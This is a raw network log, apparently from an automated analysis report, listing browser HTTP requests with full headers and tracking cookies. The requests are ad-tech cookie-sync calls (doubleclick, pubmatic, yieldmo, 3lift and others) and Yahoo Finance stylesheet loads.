Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=MTc2NjgyQTgtRTEyMS00NEE3LTgxOEQtNEZFNTNENTQyQkIy&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2662&xuid=y-B5gCAc9E2oTPbKbUs8YZwFQXu8mxBgMirWK046Y6SQ--~A&dongle=0883 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /pubmatic/1/info?sType=sync&sExtCookieId=176682A8-E121-44A7-818D-4FE53D542BB2&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=8B22F39EC31AE5F8
Source: global traffic	HTTP traffic detected: GET /v000/sync?tdid=07c89b85-4c1c-424d-8df0-0123ed6cebb6 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160648&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=1; pi=133799:2; DPSync4=1728864000%3A245_241_227_226; SyncRTB4=1728259200%3A223%7C1728864000%3A220_13_251_54_71_3_21_201_56; KTPCACOOKIE=YES
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=F2aCqOEhRKeBjU_lPVQrsg%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ZvreFAAGJeTfkQAF&_test=ZvreFAAGJeTfkQAF HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; uids=eyJ0ZW1wVUlEcyI6eyJpeCI6eyJ1aWQiOiJadnJlRU5ITTZJNEFBQXlxQURvMmt3QUFBX0lBQUFJQiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjIyLjQxMDIyNTg2NFoifX19
Source: global traffic	HTTP traffic detected: GET /usersync/turn/2933697492337752915?dspret=1&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003%22%2C%22zdxidn%22%3A%222069.28%22%2C%22nxtrdr%22%3Afalse%7D
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qmap?c=240&tp=PUBM&tpid=176682A8-E121-44A7-818D-4FE53D542BB2&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v000/sync?extinit=0&userid=7992184014990425658&pn_id=an HTTP/1.1Host: ads.yieldmo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /sync/openx/1d1d5d09-d0b5-a85e-6fc0-6f55ed82d00e?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /user-sync?zone=220412&t=image&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D41%26buyeruid%3D%7BUID%7D%26r%3DCid1YS0yMjRkYmJhZS04MWU4LTM4N2YtODczZC05OTI5YjFjYmU5NjQiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTIyNGRiYmFlLTgxZTgtMzg3Zi04NzNkLTk5MjliMWNiZTk2NDICKSE4AQ== HTTP/1.1Host: sync.adkernel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/rubicon/rzuFKQgJxzTa8NmtEp9pmA?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2319&xuid=0-44ef61b2-fe37-563b-497a-08aac775d996$ip$8.46.123.33&dongle=4430 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Footer.BvGH1Mdb.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/MarketsNavBar.CIf_21Zk.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ttd&uid=07c89b85-4c1c-424d-8df0-0123ed6cebb6&gdpr=0&gdpr_consent= HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; uids=eyJ0ZW1wVUlEcyI6eyJpeCI6eyJ1aWQiOiJadnJlRU5ITTZJNEFBQXlxQURvMmt3QUFBX0lBQUFJQiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjIyLjQxMDIyNTg2NFoifX19
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/NavBar.CJPoP-H9.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7992184014990425658&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=1; pi=133799:2; DPSync4=1728864000%3A245_241_227_226; SyncRTB4=1728259200%3A223%7C1728864000%3A220_13_251_54_71_3_21_201_56; KTPCACOOKIE=YES
